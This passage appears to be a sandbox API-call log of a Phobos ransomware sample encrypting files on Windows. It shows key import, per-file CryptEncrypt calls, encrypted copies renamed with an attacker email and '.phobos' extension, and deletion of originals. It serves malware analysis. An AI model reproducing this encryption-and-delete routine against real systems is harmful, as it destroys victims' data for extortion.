[0140.128] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.128] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xc53a, lpOverlapped=0x0) returned 1 [0140.217] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xc540, dwBufLen=0xc540 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xc540) returned 1 [0140.217] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xc540, lpOverlapped=0x0) returned 1 [0140.219] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0140.219] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.219] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0140.219] CryptDestroyKey (hKey=0x752c58) returned 1 [0140.219] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0140.219] CryptDestroyKey (hKey=0x753158) returned 1 [0140.219] CloseHandle (hObject=0x30c) returned 1 [0140.219] CloseHandle (hObject=0x2f8) returned 1 [0140.219] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0140.220] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0140.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.221] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=43949) returned 1 [0140.221] CloseHandle (hObject=0x2f8) returned 1 [0140.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0140.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0140.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0140.221] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.221] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0140.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0140.222] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752f98) returned 1 [0140.222] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0140.222] ReadFile (hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0) Thread: id = 297 os_tid = 0x538 [0132.114] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x3470048 [0132.115] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x10000) returned 0x3480050 [0132.115] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x28) returned 0xf1a750 [0132.115] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x110102) returned 0x367a020 [0132.117] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x50) returned 0xf18f10 [0132.117] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f9e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310fa48 | out: phKey=0x310fa48*=0x7391a8) returned 1 [0132.117] CryptSetKeyParam (hKey=0x7391a8, dwParam=0x1, pbData=0x310fa30, dwFlags=0x0) returned 1 [0132.117] CryptDecrypt (in: hKey=0x7391a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf18f10, pdwDataLen=0x310f9fc | out: pbData=0xf18f10, pdwDataLen=0x310f9fc) returned 1 [0132.117] CryptDestroyKey (hKey=0x7391a8) returned 1 [0132.117] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0132.118] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0132.118] Wow64DisableWow64FsRedirection (in: OldValue=0x310fa94 | out: OldValue=0x310fa94*=0x0) returned 1 [0132.118] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf18f10 | out: hHeap=0xf10000) returned 1 [0132.118] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0132.297] ResetEvent (hEvent=0x2bc) returned 1 [0132.297] SetEvent (hEvent=0x2c0) returned 1 [0132.297] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.298] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.298] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0132.309] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0132.388] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.388] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=791421) returned 1 [0132.388] CloseHandle (hObject=0x2e8) returned 1 [0132.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0132.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.389] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.389] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=27045) returned 1 [0132.389] CloseHandle (hObject=0x2e8) returned 1 [0132.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0132.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.389] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.390] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=111320) returned 1 [0132.390] CloseHandle (hObject=0x2e8) returned 1 [0132.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0132.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.390] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.391] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=48936) returned 1 [0132.391] CloseHandle (hObject=0x2e8) returned 1 [0132.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0132.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.391] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.391] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=46622) returned 1 [0132.391] CloseHandle (hObject=0x2e8) returned 1 [0132.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0132.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.391] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.392] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=84190) returned 1 [0132.392] CloseHandle (hObject=0x2e8) returned 1 [0132.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0132.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.392] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.392] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=180172) returned 1 [0132.392] CloseHandle (hObject=0x2e8) returned 1 [0132.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0132.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.394] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.394] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=208408) returned 1 [0132.394] CloseHandle (hObject=0x2e8) returned 1 [0132.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0132.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.395] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.395] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=199994) returned 1 [0132.395] CloseHandle (hObject=0x2e8) returned 1 [0132.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0132.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.395] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.396] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=181964) returned 1 [0132.396] CloseHandle (hObject=0x2e8) returned 1 [0132.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0132.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.396] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.397] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1600388) returned 1 [0132.397] CloseHandle (hObject=0x2e8) returned 1 [0132.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0132.397] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0132.397] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0132.397] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0132.397] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1434) returned 1 [0132.397] CloseHandle (hObject=0x2e8) returned 1 [0132.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0132.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.398] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0132.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, 